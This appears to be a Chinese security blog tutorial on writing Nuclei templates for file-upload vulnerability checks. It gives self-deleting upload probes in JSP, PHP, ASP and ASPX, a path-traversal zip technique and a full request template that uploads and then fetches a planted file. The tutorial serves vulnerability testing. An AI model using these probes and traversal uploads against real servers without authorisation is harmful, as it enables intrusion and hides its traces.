[Nuclei-05]Nuclei文件上传中的一些技巧

admin 2024年1月24日14:56:11评论24 views字数 2761阅读9分12秒阅读模式

[Nuclei-05]Nuclei文件上传中的一些技巧

[Nuclei-05]Nuclei文件上传中的一些技巧
0x00免责声明

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
马赛克安全实验室情报申明(可点击查看)

[Nuclei-05]Nuclei文件上传中的一些技巧

[Nuclei-05]Nuclei文件上传中的一些技巧

[Nuclei-05]Nuclei文件上传中的一些技巧
0x01Nuclei技巧

    日常在使用nuclei编写文件上传raw相关数据时候,一些可以控制参数filename、boundary、上传的数据等等

[Nuclei-05]Nuclei文件上传中的一些技巧
0x02上传参数
常见的filename、boundary一般是固定的,可以使用随机参数进行控制
可以使用自带的
{{randstr}} # 随机字符串
或者指定
{{rand_base(8)}} # 从可选字符集生成给定长度字符串的随机序列(默认为字母和数字){{rand_text_numeric(8)}} # 生成给定长度的随机数字字符串(和数字)
其他的就不多介绍使用较多
可以配合进行组合
to_lower小写{{to_lower(rand_base(10))}}to_upper大写{{to_upper(rand_base(10))}}
日常编写variables处编写相关参数

[Nuclei-05]Nuclei文件上传中的一些技巧

variables:  filename: "{{to_lower(rand_base(10))}}"  boundary: "{{rand_base(8)}}"
[Nuclei-05]Nuclei文件上传中的一些技巧
0x03上传内容
上传文件内容相关控制:
常规的就在上传位置替换相关内容

[Nuclei-05]Nuclei文件上传中的一些技巧

这个时候上传内容对上传体的一些调整

针对简单文件上传类型:随机字符

[Nuclei-05]Nuclei文件上传中的一些技巧

但是很多时候这个是上传存在痕迹的,可以使用访问自删除,根据不同的语言团队研究收集整理的脚本(jsp、php、asp、aspx)
JSP

[Nuclei-05]Nuclei文件上传中的一些技巧

<% out.println({{randstr}});new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>

PHP

[Nuclei-05]Nuclei文件上传中的一些技巧

<?php echo "{{randstr}}";unlink(__FILE__); ?>

ASP

[Nuclei-05]Nuclei文件上传中的一些技巧

<% response.write({{randstr}})        set myfso=server.CreateObject("scripting.filesystemobject")         myfso.DeleteFile(Server.MapPath("{{filename}}.asp"))%>

ASPX

[Nuclei-05]Nuclei文件上传中的一些技巧

<%@ Page Language="C#"%><% Response.Write({{randstr}});System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>

汇总:

⚠声明 本程序、脚本仅供于学习自查使用,请使用者遵守《中华人民共和国网络安全法》,勿将此工具用于非授权的测试!!!jsp<% out.println({{randstr}});new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>php<?php echo "{{randstr}}";unlink(__FILE__); ?>asp<% response.write({{randstr}})        set myfso=server.CreateObject("scripting.filesystemobject")         myfso.DeleteFile(Server.MapPath("{{filename}}.asp"))%>aspx<%@ Page Language="C#"%><% Response.Write({{randstr}});System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
[Nuclei-05]Nuclei文件上传中的一些技巧
0x04特殊上传包

在日常编写脚本过程中,有时候会对zip、序列化、ipa等等内容接口进行上传

对于zip包上传方便替换内容等等技巧:

大体思路将zip.zip-->byte-->Base64

简单的zip包:

[Nuclei-05]Nuclei文件上传中的一些技巧

相关zip内容:

[Nuclei-05]Nuclei文件上传中的一些技巧

包情况:

[Nuclei-05]Nuclei文件上传中的一些技巧

如果上传结构存在../../../../webapp/upload/test.jsp类似这种结构

[Nuclei-05]Nuclei文件上传中的一些技巧

上传包内容

[Nuclei-05]Nuclei文件上传中的一些技巧

包情况:

[Nuclei-05]Nuclei文件上传中的一些技巧

以上两种情况涵盖目前遇到相关压缩包上传情况。
如果说拿到包的zip的base64编码也可以通过工具还原

[Nuclei-05]Nuclei文件上传中的一些技巧

修改内容后在进行zip.zip-->byte-->Base64转换即可
对于此类情况yaml编写案例:

[Nuclei-05]Nuclei文件上传中的一些技巧

详情:

variables:  filename: "{{to_lower(rand_base(10))}}"  boundary: "{{rand_base(8)}}"http:  - raw:      - |        POST /upload HTTP/1.1        Host: {{Hostname}}         User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary}}        ------WebKitFormBoundary{{boundary}}        Content-Disposition: form-data; name="myFile";filename="{{filename}}.zip"        {{base64_decode("UEA=")}}        ------WebKitFormBoundary{{boundary}}--      - |        GET /XXXX.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36    req-condition: true     matchers:      - type: dsl        dsl:          - 'status_code_2 == 200 && contains_all(body_2, "test")'

[Nuclei-05]Nuclei文件上传中的一些技巧

[Nuclei-05]Nuclei文件上传中的一些技巧
0x04团队介绍

      马赛克安全实验室专注于:漏洞复现、渗透测试、nday、0day、网络安全、红蓝对抗,持续输出安全相关漏洞情报、漏洞复现相关漏洞验证脚本及工具。

[Nuclei-05]Nuclei文件上传中的一些技巧

[Nuclei-05]Nuclei文件上传中的一些技巧

[Nuclei-05]Nuclei文件上传中的一些技巧

[Nuclei-05]Nuclei文件上传中的一些技巧

原文始发于微信公众号(thelostworld):[Nuclei-05]Nuclei文件上传中的一些技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月24日14:56:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [Nuclei-05]Nuclei文件上传中的一些技巧https://cn-sec.com/archives/2425252.html

发表评论

匿名网友 填写信息